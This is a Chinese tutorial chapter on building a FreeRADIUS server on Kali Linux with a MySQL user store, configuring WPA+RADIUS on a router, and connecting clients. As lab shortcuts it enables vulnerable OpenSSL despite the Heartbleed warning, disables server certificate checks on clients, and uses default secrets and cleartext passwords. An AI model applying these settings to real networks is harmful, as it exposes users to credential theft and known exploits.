RADIUS是一种C/S结构的协议。RADIUS协议认证机制灵活,可以采用PAP、CHAP或者Unix登录认证等多种方式。在企业的无线网络环境中,通常使用WPA+ RADIUS加密模式,它会使网络更安全。本章将介绍WPA+RADIUS加密模式。
RADIUS(Remote Authentication Dial In User Service,远端用户拨入验证服务)是一个AAA协议,即同时兼顾验证(Authentication)、授权(Authorization)及计费(Accounting)3种服务的一种网络传输协议。本节将对RADIUS协议做一个简单介绍。
RADIUS是一种在网络接入服务器(Network Access Server)和共享认证服务器间传输认证授权和配置信息的协议。它采用客户端/服务器结构。路由器或NAS上运行的AAA程序对用户来讲是作为服务端,对RADIUS服务器来讲是作为客户端。RADIUS通过建立一个唯一的用户数据库存储用户名和密码来进行验证。存储传递给用户的服务类型以及相应的配置信息来完成授权。当用户上网时,路由器决定对用户采用何种验证方法。
RADIUS还支持代理和漫游功能。简单地说,代理就是一台服务器,可以作为其他RADIUS服务器的代理,负责转发RADIUS认证和计费数据包。所谓漫游功能,就是代理的一个具体实现,这样可以让用户通过本来和其无关的RADIUS服务器进行认证。
RADIUS主要特征如下所示。
客户/服务器模式。
网络安全。
灵活认证机制。
协议的可扩充性。
RADIUS原先的目的是为拨号用户进行认证和计费。后来经过多次改进,形成了一项通用的认证计费协议。该协议主要完成在网络接入设备和认证服务器之间承载认证、授权、计费和配置信息。下面将介绍RADIUS服务的工作原理,如图10.1所示。
图10.1 RADIUS服务工作原理
图10.1简单地显示了RADIUS服务工作的模型,下面对该过程进行详细介绍。如下所述。
(1)客户端接入NAS,NAS向RADIUS服务器使用Access-Require数据包提交用户信息,包括用户名和密码等相关信息。其中,用户密码是经过MD5加密的,双方使用共享密钥,这个密钥不经过网络传播。
(2)RADIUS服务器对用户名和密码的合法性进行校验,必要时可以提出一个Challenge,要求进一步对用户认证,也可以对NAS进行类似的认证。
(3)如果合法,则给NAS返回Access-Accept数据包,允许用户进行下一步工作,否则返回Access-Reject数据包,拒绝用户访问。如果允许访问,NAS向RADIUS服务器提出计费请求Account-Require,RADIUS服务器响应Account-Accept。此时,将开始对用户计费,同时用户也可以进行自己的相关操作。
RADIUS服务器和NAS服务器通过UDP协议进行通信,RADIUS服务器的1812端口负责认证,1813端口负责计费工作。这里使用UDP协议,是因为NAS和RADIUS服务器大多在同一个局域网中,使用UDP协议更加快捷方便。
RADIUS协议还规定了重传机制。如果NAS向某个RADIUS服务器提交请求没有收到返回信息,那么可以要求备份RADIUS服务器重传。由于有多个备份RADIUS服务器,因此NAS进行重传的时候,可以采用轮询的方法。如果备份RADIUS服务器的密钥和以前RADIUS服务器的密钥不同,则需要重新进行认证。
通过前面的介绍,用户对RADIUS服务有了详细的认识。接下来将介绍搭建RADIUS服务的方法。目前,通常使用FreeRadius开源软件来搭建Radius服务。Freeradius是一个模块化,高性能并且功能丰富的一套RADIUS程序。该程序包括服务器、客户端、开发库及一些额外的相关RADIUS工具。
通常情况下,服务器都会安装到服务性(比较稳定)的操作系统中(如RHEL和Windows Server 2008)。本书只是为了简单的模拟一个实验环境,所以将介绍在Kali Linux上搭建RADIUS服务。
【实例10-1】 使用FreeRadius软件安装RADIUS服务。具体操作步骤如下所述。
(1)从官方网站http://freeradius.org/下载最新稳定版本的FreeRadius软件包,其软件包名为freeradius-server-2.2.6.tar.gz。本例中,将下载好的文件保存到/root目录中。
(2)解压FreeRadius软件包。执行命令如下所示。
root@kali:~# tar zxvf freeradius-server-2.2.6.tar.gz
执行以上命令后,将在/root目录中解压出一个名为freeradius-server-2.2.6的文件。
(3)配置FreeRadius软件包。执行命令如下所示。
root@kali:~# cd freeradius-server-2.2.6/ #切换到解压出文件中 root@kali:~/freeradius-server-2.2.6# ./configure #配置软件
(4)编译FreeRadius软件包。执行命令如下所示。
root@kali:~/freeradius-server-2.2.6# make
(5)安装FreeRadius软件包。执行命令如下所示。
root@kali:~/freeradius-server-2.2.6# make install
成功执行以上命令后,FreeRadius软件包就安装成功了,也就是说RADIUS服务搭建完成。此时,用户也就可以启动该服务。
(6)为了更清楚地查看RADIUS服务启动过程加载的信息,这里以调试模式运行该服务。执行命令如下所示。
root@localhost:~/freeradius-server-2.2.6# radiusd -s -X
如果正常启动后,将显示如下信息:
radiusd: FreeRADIUS Version 2.2.6, for host x86_64-unknown-linux-gnu, built on Dec 15 2014 at 09:13:13 Copyright (C) 1999-2013 The FreeRADIUS server project and contributors. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. You may redistribute copies of FreeRADIUS under the terms of the GNU General Public License. For more information about these matters, see the file named COPYRIGHT. Starting - reading configuration files ... including configuration file /usr/local/etc/raddb/radiusd.conf including configuration file /usr/local/etc/raddb/proxy.conf including configuration file /usr/local/etc/raddb/clients.conf including files in directory /usr/local/etc/raddb/modules/ including configuration file /usr/local/etc/raddb/modules/pap including configuration file /usr/local/etc/raddb/modules/smbpasswd including configuration file /usr/local/etc/raddb/modules/sqlcounter_expire_on_login including configuration file /usr/local/etc/raddb/modules/detail.log including configuration file /usr/local/etc/raddb/modules/radutmp ...... listen { type = "acct" ipaddr = * port = 0 } listen { type = "control" listen { socket = "/usr/local/var/run/radiusd/radiusd.sock" } } listen { type = "auth" ipaddr = 127.0.0.1 port = 18120 } ... adding new socket proxy address * port 46339 Listening on authentication address * port 1812 Listening on accounting address * port 1813 Listening on command file /usr/local/var/run/radiusd/radiusd.sock Listening on authentication address 127.0.0.1 port 18120 as server inner-tunnel Listening on proxy address * port 1814 Ready to process requests.
执行以上命令后,将输出大量的信息。由于篇幅的原因,中间部分内容使用省略号(......)取代。从最后显示的几行信息中可以看到,监听的认证地址端口为1812、审计地址端口为1813、代理地址端口为1814。最后一行信息表示准备处理请求。当有客户端连接时,将会看到服务器收到的请求及响应的信息。
以上是RADIUS服务正常启动后的输出信息。但是,由于某些原因可能导致服务启动失败。常见的问题有两个,第一,需要更新动态链接库;第二,需要设置允许使用Openssl的漏洞版本启动RADIUS服务。下面来看下如果不出现以上错误,将会提示怎样的信息,以及如何解决该问题。如下所述。
由于使用源码编译安装的RADIUS服务器文件将被创建在不同的位置,这时候系统将可能搜索不到一些库文件。所以,用户就需要使用ldconfig命令更新动态链接库。否则可能提示无法找到共享库,其提示信息如下所示。
radiusd: error while loading shared libraries: libfreeradius-radius-020206.so: cannot open shared object file: No such file or directory
从以上信息中可以看到加载共享库出错。所以,用户需要更新动态库,使缓存重新加载。执行命令如下所示。
root@kali:~/freeradius-server-2.2.6# ldconfig
执行以上命令后,将不会再出现以上错误信息。
在Kali Linux中,默认安装的Openssl版本是1.0.1e。由于在该版本中存在Heartbleed(心脏出血)漏洞,这时候将拒绝RADIUS服务启动。提示信息如下所示:
Refusing to start with libssl version OpenSSL 1.0.1e 11 Feb 2013 (in range 1.0.1 - 1.0.1f). Security advisory CVE-2014-0160 (Heartbleed) For more information see http://heartbleed.com
此时,在RADIUS服务的主配置文件中设置允许即可。编辑配置文件radiusd.conf,并修改allow_vulnerable_openssl配置项的值。如下所示。
root@localhost:/usr/local/etc/raddb# vi radiusd.conf allow_vulnerable_openssl=yes
这里将以上选项的值设置为yes,然后保存并退出radiusd.conf文件。此时,即可正常启动RADIUS服务。但是,如果要使用该服务,还需要进行详细的配置才可以。下面将介绍如何配置RADIUS服务器。
由于安装完RADIUS服务器后,有很多个文件需要修改。所以,在介绍配置RADIUS服务之前,首先介绍这些配置文件的安装位置及每个文件的作用。
使用二进制包和源码包安装后的文件的位置不同。其中,如果使用二进制包安装的话,CentOS和SLES系统的配置文件默认将保存在/etc/raddb中;Ubuntu系统将保存在/etc/freeradius中。如果是使用源码编译安装的话,默认将保存在/usr/local/etc/raddb目录中。在该目录中包括好多个配置文件,如下所示。
root@kali:/usr/local/etc/raddb# ls acct_users attrs.accounting_response dictionary hints panic.gdb proxy.conf sql users attrs attrs.pre-proxy eap.conf huntgroups policy.conf radiusd.conf sql.conf attrs.access_challenge certs example.pl ldap.attrmap policy.txt sites-available sqlippool.conf attrs.access_reject clients.conf experimental.conf modules preproxy_users sites-enabled templates.conf
从输出的信息中可以看到有很多个文件。下面将介绍几个重要的配置文件,如下所述。
radiusd.conf:主配置文件。
users:用户账号配置文件。
eap.conf:设置加密方式。
client.conf:RADIUS客户端配置文件。
sites-enable/default:认证、授权和计费配置文件。
sites-enable/inner-tunnel:虚拟服务配置文件。
sql.conf:与数据库连接的配置文件。
sql:在该目录下有许多sql语句文件,用来创建radius数据库表的。
certs/bootstrap:用于生成证书的可执行文件。
了解这些配置文件后,用户就可以对RADIUS进行简单的配置,然后测试该服务了。FreeRADIS默认配置了一个客户端localhost,用户可以使用该默认客户端来测试RADIUS服务。下面介绍一个简单的配置,如下所述。
(1)默认配置的客户端配置文件是clients.conf,其配置信息如下所示。
root@kali:/usr/local/etc/raddb# vi clients.conf client localhost { ipaddr = 127.0.0.1 secret = testing123 require_message_authenticator = no nastype = other }
(2)创建一个测试用户。在users文件中添加测试用户的相关信息,如下所示。
root@kali:/usr/local/etc/raddb# vi users "alice" Cleartext-Password := "passme" Framed-IP-Address = 192.168.1.10, Reply-Message = "Hello, %{User-Name}"
添加以上信息,然后保存并退出users文件。注意,以上内容中的第二行和第三行前面使用的是TAB键分割。
(3)启动RADIUS服务。为了可以看到启动该服务过程中输出的详细信息,下面以调试模式启动该服务。执行命令如下所示。
root@kali:~# radiusd -s -X radiusd: FreeRADIUS Version 2.2.6, for host x86_64-unknown-linux-gnu, built on Dec 19 2014 at 15:15:35 Copyright (C) 1999-2013 The FreeRADIUS server project and contributors. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. You may redistribute copies of FreeRADIUS under the terms of the GNU General Public License. For more information about these matters, see the file named COPYRIGHT. Starting - reading configuration files ... including configuration file /usr/local/etc/raddb/radiusd.conf including configuration file /usr/local/etc/raddb/proxy.conf including configuration file /usr/local/etc/raddb/clients.conf including files in directory /usr/local/etc/raddb/modules/ including configuration file /usr/local/etc/raddb/modules/pap including configuration file /usr/local/etc/raddb/modules/smbpasswd including configuration file /usr/local/etc/raddb/modules/sqlcounter_expire_on_login ...... listen { type = "auth" ipaddr = 127.0.0.1 port = 18120 } ... adding new socket proxy address * port 41713 Listening on authentication address * port 1812 Listening on accounting address * port 1813 Listening on command file /usr/local/var/run/radiusd/radiusd.sock Listening on authentication address 127.0.0.1 port 18120 as server inner-tunnel Listening on proxy address * port 1814 Ready to process requests.
看到以上输出信息(Ready to process requests),表示RADIUS服务已成功启动。
(4)测试RADIUS服务器。这里可以使用radtest命令来测试,其语法格式如下所示。
radtest [选项] user passwd radius-server[:port] nas-port-number secret [ppphint] [nasname]
以上语法中常用参数含义如下所示。
user:用于登录认证的用户。
passwd:认证用户的密码。
radius-server:RADIUS服务器的IP地址。
nas-port-number:NAS服务端口号。
secret:RADIUS服务和AP的共享密钥。
nasname:NAS名称。
下面使用前面创建的alice用户认证连接服务器,执行命令如下所示。
root@kali:~# radtest alice passme 127.0.0.1 100 testing123 Sending Access-Request of id 122 to 127.0.0.1 port 1812 User-Name = "alice" User-Password = "passme" NAS-IP-Address = 221.204.244.37 NAS-Port = 100 Message-Authenticator = 0x00000000000000000000000000000000 rad_recv: Access-Accept packet from host 127.0.0.1 port 1812, id=122, length=39 Framed-IP-Address = 192.168.1.10 Reply-Message = "Hello,alice"
从以上输出的信息中可以看到,RADIUS服务正确响应了alice用户的请求,这表示RADIUS服务可以工作正常。
注意: 如果使用虚拟机搭建RADIUS服务作为认证的话,建议使用桥接模式连接到网络。否则,将会导致客户端无法连接到无线网络。
通过前面的介绍,用户可以很顺利的将RADIUS服务搭建好。接下来就可以通过配置RADIUS服务,来实现WPA+RADIUS加密模式的WiFi网络。本节将介绍如何设置WPA+RADIUS加密模式。
RADIUS服务默认安装的配置文件较多,前面也对常用的文件进行了简单的介绍。下面将介绍如何配置RADIUS服务。
通常配置RADIUS服务,需要配置radiusd.conf、eap.conf、clients.conf、sql.conf、default和inner-tunnel6个文件。下面将分别介绍如何修改这几个配置文件,并且介绍需要配置的参数的作用。如下所述。
依次修改以下内容。
(1)修改该文件的log部分,需要更改的配置项如下所示。
root@kali:/usr/local/etc/raddb# vi radiusd.conf auth = yes auth_badpass = yes auth_goodpass = yes
以上选项的默认值是no。这里将它们修改为yes,表示要将认证信息记录到RADIUS服务的日志文件中。使用源码安装的RADIUS服务,日志文件默认保存在/usr/local/var/log/radius/目录中。当有日志信息产生时,将会在该目录中生成一个名为radius.log的文件。但是,如果以调试模式启动RADIUS服务的话,将不会记录日志信息。
(2)修改延长发送认证失败之前的暂停秒数。为防止爆破,设置为5秒。默认是1秒,修改后信息如下所示。
reject_delay = 5
(3)启用MySQL认证。所以,把$INCLUDE sql.conf前面的注释(#)取消掉,如下所示。
# $INCLUDE sql.conf
修改后,如下所示。
$INCLUDE sql.conf
依次修改以下内容。
(1)将eap部分的default_eap_type值修改为peap加密方式。如下所示。
default_eap_type = peap
(2)将peap部分的default_eap_type值修改为mschapv2加密。如下所示。
default_eap_type = mschapv2
设置允许使用RADIUS服务的设备。在该配置文件中添加如下内容:
root@kali:/usr/local/etc/raddb# vi clients.conf client 192.168.1.1 { #客户端的IP地址,这里指定了AP的地址 secret = testing123 #AP与RADIUS服务连接的共享密码 shortname = Test #客户端代号,可以随便填写。这里输入了AP 的SSID名称 nastype = other #NAS的类型 }
以上添加了一个AP客户端的信息。用户也可以指定某一个客户端,或者一个大范围网段的主机。如允许192.168.0.0网段的主机,可以使用client 192.168.0.0/24进行设置。具体配置如下所示。
client 192.168.0.0/24 { secret = testing123 shortname = TestAP nastype = other }
该文件中保存了数据库与RADIUS服务进行连接的信息。具体配置项如下所示。
sql { database = "mysql" #使用MySQL数据库存储用户 driver = "rlm_sql_${database}" #使用的RADIUS服务驱动 server = "localhost" #MySQL数据库服务的地址 login = "radius" #登录数据库用户名(可以指定root用户) password = "radpass" #数据库radius的登录密码 radius_db = "radius" #数据库名 }
该文件可以使用默认设置与RADIUS服务建立连接。如果用户想更好地理解该文件中的配置,也可以设置各选项。本例中,使用默认配置。
启用SQL模块。将该文件中的authorize部分中sql行前面的注释(#)去掉,在files前面添加注释(#)。修改后如下所示。
authorize { ...... # Read the 'users' file # files # # Look in an SQL database. The schema of the database # is meant to mirror the "users" file. # # See "Authorization Queries" in sql.conf sql ...... }
将该文件中的authorize部分中sql行前面的注释(#)去掉,在files前面添加注释(#)。修改后如下所示。
authorize { ...... # Read the 'users' file # files # # Look in an SQL database. The schema of the database # is meant to mirror the "users" file. # # See "Authorization Queries" in sql.conf sql ...... }
通过以上方法,RADIUS服务就配置好了。以上配置,选择使用MySQL数据库来存储用户信息。所以,接下来将需要配置MySQL数据库。
FreeRADIUS中提供了数据库需要的文件,这些文件默认保存在安装目录的子目录sql下面。在Kali Linux系统中,默认已经安装了MySQL数据库。所以,下面将直接介绍MySQL的配置。具体操作步骤如下所述。
(1)创建数据库radius。本例中,为MySQL数据库默认的root用户设置了密码,其密码为123456。所以,在使用root用户进行操作时,需要使用-p选项来输入密码。创建radius数据库,执行命令如下所示。
root@kali:~# mysqladmin -u root -p create radius Enter password: #输入root用户的密码
执行以上命令后,如果没有显示错误信息,则表示成功创建了radius数据库。
(2)为radius数据库创建一个管理用户。这里以FreeRADIUS软件提供的admin.sql文件作为模板,来创建管理用户。导入admin.sql数据库,执行命令如下所示。
root@kali:~# mysql -u root -p < /usr/local/etc/raddb/sql/mysql/admin.sql
(3)创建数据库架构,使用FreeRADIUS软件提供的schema.sql文件为模板。导入schema.sql数据库,执行命令如下所示。
root@kali:~# mysql -u root -p radius < /usr/local/etc/raddb/sql/mysql/schema.sql
(4)为radius数据库创建一个测试用户。下面创建一个名为bob的用户,如下所示。
root@kali:~# mysql -u root -p radius #登录radius数据库 Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 46 Server version: 5.5.40-0+wheezy1 (Debian) Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> INSERT INTO radcheck (username,attribute,op,value) VALUES ('bob','Cleartext- Password',':=','passbob'); Query OK, 1 row affected (0.01 sec) mysql> INSERT INTO radreply (username,attribute,op,value) VALUES ('bob','Reply-Message',' =','Hello Bob!'); Query OK, 1 row affected (0.01 sec) mysql> exit Bye root@kali:~#
通过以上方法MySQL数据库服务就配置完了。接下来就可以启动RADIUS服务,以确定能正常与MySQL服务建立连接。为了可以看到更详细的信息,下面以调试模式启动RADIUS服务,执行命令如下所示。
root@kali:~# radiusd -s -X
启动RADIUS服务的调试模式后,将会看到有大量的rlm_sql信息。这表明SQL模块被加载。如果SQL模块被正确加载后,RADIUS服务将成功启动。如果SQL模块不能被正确加载,将出现如下错误信息:
Could not link driver rlm_sql_mysql: rlm_sql_mysql.so: cannot open shared object file: No such file or directory Make sure it (and all its dependent libraries!) are in the search path of your system's ld. /usr/local/etc/raddb/sql.conf[22]: Instantiation failed for module "sql" /usr/local/etc/raddb/sites-enabled/default[177]: Failed to find "sql" in the "modules" section. /usr/local/etc/raddb/sites-enabled/default[69]: Errors parsing authorize section.
出现以上错误信息是因为找不到驱动包的错误。具体解决方法如下所示。
(1)安装libmysqlclient-dev文件。
(2)重新编译SQL模块。如下所示。
root@kali:~# cd freeradius-server-2.2.6/src/modules/rlm_sql/drivers/rlm_sql_mysql/ #切换到SQL模块位置 root@kali:~/freeradius-server-2.2.6/src/modules/rlm_sql/drivers/rlm_sql_mysql# ./configure --with-mysql-dir=/var/lib/mysql --with-lib-dir=/usr/lib/mysql #配置MySQL库文件 root@kali:~/freeradius-server-2.2.6/src/modules/rlm_sql/drivers/rlm_sql_mysql# make #编译 root@kali:~/freeradius-server-2.2.6/src/modules/rlm_sql/drivers/rlm_sql_mysql# make install #安装
如果执行以上命令没有报错的话,就表示成功安装了需要的驱动包。此时,即可正常启动RADIUS服务。
(3)再次重新启动RADIUS服务,成功启动后将显示如下所示的信息:
root@localhost:~# radiusd -s -X radiusd: FreeRADIUS Version 2.2.6, for host x86_64-unknown-linux-gnu, built on Dec 15 2014 at 09:13:13 Copyright (C) 1999-2013 The FreeRADIUS server project and contributors. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. You may redistribute copies of FreeRADIUS under the terms of the GNU General Public License. For more information about these matters, see the file named COPYRIGHT. Starting - reading configuration files ... including configuration file /usr/local/etc/raddb/radiusd.conf including configuration file /usr/local/etc/raddb/proxy.conf including configuration file /usr/local/etc/raddb/clients.conf ..... rlm_sql (sql): Connected new DB handle, #29 rlm_sql (sql): starting 30 rlm_sql (sql): Attempting to connect rlm_sql_mysql #30 rlm_sql_mysql: Starting connect to MySQL server for #30 rlm_sql (sql): Connected new DB handle, #30 rlm_sql (sql): starting 31 rlm_sql (sql): Attempting to connect rlm_sql_mysql #31 rlm_sql_mysql: Starting connect to MySQL server for #31 rlm_sql (sql): Connected new DB handle, #31 Module: Checking preacct {...} for more modules to load Module: Linked to module rlm_acct_unique Module: Instantiating module "acct_unique" from file /usr/local/etc/raddb/modules/acct_unique acct_unique { key = "User-Name, Acct-Session-Id, NAS-IP-Address, NAS-Identifier, NAS-Port" } Module: Linked to module rlm_files Module: Instantiating module "files" from file /usr/local/etc/raddb/modules/files files { usersfile = "/usr/local/etc/raddb/users" acctusersfile = "/usr/local/etc/raddb/acct_users" preproxy_usersfile = "/usr/local/etc/raddb/preproxy_users" compat = "no" } ...... listen { type = "auth" ipaddr = 127.0.0.1 port = 18120 } ... adding new socket proxy address * port 56762 Listening on authentication address * port 1812 Listening on accounting address * port 1813 Listening on command file /usr/local/var/run/radiusd/radiusd.sock Listening on authentication address 127.0.0.1 port 18120 as server inner-tunnel Listening on proxy address * port 1814 Ready to process requests.
从以上输出信息中可以看到加载的rlm_sql模块。如果看到Ready to process requests,则表示该服务成功启动。
(4)测试使用MySQL数据库存储用户的RADIUS服务器。下面使用前面创建的bob用户登录认证RADIUS服务器,执行命令如下所示。
root@kali:/usr/local/etc/raddb# radtest bob passbob 127.0.0.1 100 testing123 Sending Access-Request of id 5 to 127.0.0.1 port 1812 User-Name = "bob" User-Password = "passbob" NAS-IP-Address = 221.204.244.37 NAS-Port = 100 Message-Authenticator = 0x00000000000000000000000000000000 rad_recv: Access-Accept packet from host 127.0.0.1 port 1812, id=5, length=32 Reply-Message = "Hello Bob!"
从以上输出的信息中可以看到,bob用户成功通过了RADIUS服务器的认证,并收到响应信息"Hello Bob!"。此时,返回到RADIUS服务的调试模式,将看到如下所示信息:
rad_recv: Access-Request packet from host 127.0.0.1 port 43407, id=91, length=73 User-Name = "bob" User-Password = "passbob" NAS-IP-Address = 221.204.244.37 NAS-Port = 100 Message-Authenticator = 0x621ae3319fa83e2f349604a955fcaa44 # Executing section authorize from file /usr/local/etc/raddb/sites-enabled/default +group authorize { ++[preprocess] = ok ++[chap] = noop ++[mschap] = noop ++[digest] = noop [suffix] No '@' in User-Name = "bob", looking up realm NULL [suffix] No such realm "NULL" ++[suffix] = noop [eap] No EAP-Message, not doing EAP ++[eap] = noop [sql] expand: %{User-Name} -> bob [sql] sql_set_user escaped user --> 'bob' rlm_sql (sql): Reserving sql socket id: 31 ...... ++[sql] = ok ++[expiration] = noop ++[logintime] = noop ++[pap] = updated +} # group authorize = updated Found Auth-Type = PAP # Executing group from file /usr/local/etc/raddb/sites-enabled/default +group PAP { [pap] login attempt with password "passbob" [pap] Using clear text password "passbob" [pap] User authenticated successfully ++[pap] = ok +} # group PAP = ok Login OK: [bob/passbob] (from client localhost port 100) # Executing section post-auth from file /usr/local/etc/raddb/sites-enabled/default +group post-auth { ++[exec] = noop +} # group post-auth = noop Sending Access-Accept of id 91 to 127.0.0.1 port 43407 Reply-Message = "Hello Bob!" Finished request 0. Going to the next request Waking up in 4.9 seconds. Cleaning up request 0 ID 91 with timestamp +5 Ready to process requests.
从以上输出的信息中可以看到,显示了bob用户与RADIUS服务连接的详细过程。
前面将RADIUS服务和MySQL数据库都已经配好,接下来在路由器中将加密模式设置为WAP+RADIUS模式。下面以TP-LINK路由器为例,介绍配置WPA+RADIUS模式的方法。
【实例10-2】 设置路由器的加密模式为WPA+RADIUS。具体操作步骤如下所述。
(1)登录路由器。本例中路由器的地址是192.168.1.1,登录用户名和密码都为admin。
(2)在路由器的左侧栏中依次选择“无线设置”|“无线安全设置”命令,将显示如图10.2所示的界面。
图10.2 无线网络安全设置
(3)在该界面选择WPA/WPA2加密方法,然后设置认证类型、加密算法、Radius服务器的IP及密码等。该加密方法,默认支持的认证类型包括WPA和WPA2,加密算法默认支持TKIP和AES。在本例中,将这两项设置为“自动”。Radius服务器的IP就是在前面搭建RADIUS服务的主机的IP地址,Radius密码就是在clients.conf文件中设置的共享密钥,默认是testing123。将这几个选项配置完成后,显示界面如图10.3所示。
图10.3 设置好的加密模式
(4)以上就是本例中WPA+RADIUS加密模式的配置方法。设置完成后,单击“保存”按钮,并重新启动路由器。
通过前面的详细介绍,WPA+RADIUS加密的WiFi网络就配置好了。接下来,用户就可以使用客户端进行连接。但是,要连接WPA+RADIUS加密的WiFi网络,还需要对客户端进行简单的设置。所以,本节将介绍在不同的客户端连接WPA+RADIUS加密的WiFi网络的方法。
下面将介绍如何在Windows 7中,连接到WPA+RADIUS加密的WiFi网络。具体操作步骤如下所述。
(1)在桌面上选择“网络”图标,并单击右键选择“属性”命令,将打开如图10.4所示的界面。
图10.4 网络和共享中心
(2)在该界面单击“管理无线网络”选项,将打开如图10.5所示的界面。
图10.5 管理无线网络
(3)从该界面可以看到,当前没有创建任何无线网络。此时,单击“添加”按钮,将弹出如图10.6所示的界面。
图10.6 选择添加网络的方法
(4)在该界面选择添加网络的方法,这里选择“手动创建网络配置文件”选项,将显示如图10.7所示的界面。
图10.7 输入您要添加的无线网络的信息
(5)在该界面输入要添加的无线网络的信息,如网络名、安全类型,以及加密类型等。本例中的网络名为Test、安全类型为WPA2-企业、加密类型为AES,如图10.7所示。然后单击“下一步”按钮,将显示如图10.8所示的界面。
图10.8 成功添加Test无线网络
(6)从该界面可以看到,已经成功添加了Test无线网络。但是,要想成功连接到该网络还需要一些其他设置。所以,这里选择“更改连接设置”选项,将显示如图10.9所示的界面。
图10.9 设置无线网络
(7)该界面就是Test无线网络的属性界面,此时就可以对该无线网络进行设置。这里选择“安全”选项卡,将显示如图10.10所示的界面。
图10.10 安全设置
(8)在该界面单击“选择网络身份验证方法”后面的“设置”按钮,将显示如图10.11所示的界面。
图10.11 验证服务器证书
(9)由于本例中使用的加密方式没有创建证书,所以这里将“验证服务器证书”前面的复选框取消。然后单击“选择身份验证方法”选项下面的“配置”按钮,将打开如图10.12所示的界面。
图10.12 EAP MSCHAPv2属性
(10)在该界面将“自动使用Windows登录名和密码(以及域,如果有的话)(A)”前面的复选框取消,然后单击“确定”按钮,将返回图10.11所示的界面。此时,在该界面单击“确定”按钮,将返回如图10.10所示的界面。在该界面单击“高级设置”按钮,将显示如图10.13所示的界面。
图10.13 高级设置
(11)在该界面选择“指定身份验证模式”复选框,并选择“用户或计算机身份验证”方式。然后单击“确定”按钮,再次返回图10.10所示的界面。在该界面单击“确定”按钮,将返回图10.8所示的界面。
(12)在该界面单击“关闭”按钮,将看到如图10.14所示的界面。
图10.14 创建的无线网络
(13)从该界面可以看到,已成功创建了名为Test的无线网络。此时,就可以连接该网络了。在连接该网络之前,首先要确定RADIUS服务已成功启动。
(14)返回Windows 7的桌面,单击右下角的
图标,即可看到搜索到的所有无线网络,如图10.15所示。
图10.15 搜索到的无线网络
(15)在该界面选择要连接的无线网络Test,将打开如图10.16所示的界面。
图10.16 输入认证的用户和密码
(16)在该界面输入可以连接到WiFi网络的用户名和密码,本例中的用户名和密码分别是bob和passbob。输入用户名和密码后单击“确定”按钮,即可连接到Test无线网络。当该客户端成功连接到Test网络后,RADIUS服务器的调试模式将会显示以下信息:
rad_recv: Access-Request packet from host 192.168.5.1 port 44837, id=58, length=142 User-Name = "bob" NAS-IP-Address = 192.168.5.1 NAS-Port = 0 Called-Station-Id = "14-F6-5A-CE-EE-2A:Test" Calling-Station-Id = "3C-43-8E-A4-40-63" Framed-MTU = 1400 NAS-Port-Type = Wireless-802.11 Connect-Info = "CONNECT 0Mbps 802.11" EAP-Message = 0x0200000801626f62 Message-Authenticator = 0x09399d3f99d3ec3177efe1c287dc4e71 # Executing section authorize from file /usr/local/etc/raddb/sites-enabled/default +group authorize { ++[preprocess] = ok ++[chap] = noop ++[mschap] = noop ++[digest] = noop [suffix] No '@' in User-Name = "bob", looking up realm NULL [suffix] No such realm "NULL" ++[suffix] = noop [eap] EAP packet type response id 0 length 8 [eap] No EAP Start, assuming it's an on-going EAP conversation ++[eap] = updated [sql] expand: %{User-Name} -> bob [sql] sql_set_user escaped user --> 'bob' rlm_sql (sql): Reserving sql socket id: 31 ...... ++[eap] = ok +} # group authenticate = ok Login OK: [bob/<via Auth-Type = EAP>] (from client Test port 0 cli 14-F6-5A-CE-EE-2A) # Executing section post-auth from file /usr/local/etc/raddb/sites-enabled/default +group post-auth { ++[exec] = noop +} # group post-auth = noop Sending Access-Accept of id 57 to 192.168.5.1 port 44837 MS-MPPE-Recv-Key = 0x2804fe94651f537a5b5164adb45f5efbaf788dd06e722f19b0d86d 8e499470c5 MS-MPPE-Send-Key = 0x86adf3a7fee3d402f7c6177a0494a7a43380721fe68e3c409023 dcc7ef179d98 EAP-Message = 0x03090004 Message-Authenticator = 0x00000000000000000000000000000000 User-Name = "bob" Finished request 58. Going to the next request Waking up in 4.9 seconds. Cleaning up request 49 ID 48 with timestamp +967 Cleaning up request 50 ID 49 with timestamp +967 Cleaning up request 51 ID 50 with timestamp +967 Cleaning up request 52 ID 51 with timestamp +967 Cleaning up request 53 ID 52 with timestamp +967 Cleaning up request 54 ID 53 with timestamp +967 Cleaning up request 55 ID 54 with timestamp +967 Cleaning up request 56 ID 55 with timestamp +967 Cleaning up request 57 ID 56 with timestamp +967 Cleaning up request 58 ID 57 with timestamp +967 Ready to process requests.
以上输出的信息是客户端连接服务器的详细信息,如客户端的Mac地址、使用的认证用户及密钥等。
下面将介绍在Linux下(以Kali Linux为例),如何连接到WPA+RADIUS加密的WiFi网络中。具体操作步骤如下所述。
(1)在Kali Linux系统的桌面单击右上角的
图标,将看到当前无线网卡搜索到的所有的无线网络,如图10.17所示。
图10.17 搜索到的无线网络
(2)在该界面选择要连接的无线网络,这里选择Test,将打开如图10.18所示的界面。
图10.18 输入认证信息
(3)在该界面设置用于网络认证的信息。如选择认证方式EAP、输入认证的用户和密码。设置完成后,显示界面如图10.19所示。
图10.19 认证信息
(4)填写以上认证信息后,单击“连接”按钮,将打开如图10.20所示的界面。
图10.20 选择证书文件
(5)由于在该实验环境中没有创建CA证书,所以这里单击“忽略”按钮。如果不想每次都弹出该窗口的话,勾选“以后不再警告”复选框,然后单击“忽略”按钮,将开始连接Test无线网络。连接成功后,网络图标将显示为
形式。
通常情况下,用户会使用一些移动设备来连接WiFi网络。所以,下面将介绍如何在移动客户端下连接RADIUS加密的WiFi网络。这里以小米手机客户端为例,介绍连接WiFi网络的方法。具体操作步骤如下所述。
(1)在手机上打开设置界面,然后选择WLAN选项开启WLAN功能。当成功启动WLAN功能后,将显示如图10.21所示的界面。
图10.21 搜索到的无线网络
(2)在该界面可以看到,当前客户端已经成功连接到SSID为yzty的无线网络,并且可以看到搜索到的其他无线网络。在该界面可以看到Test无线网络的加密方式是通过802.1x进行保护。这说明,该无线网络的加密方式使用了RADIUS服务。这里选择Test网络,将打开如图10.22所示的界面。
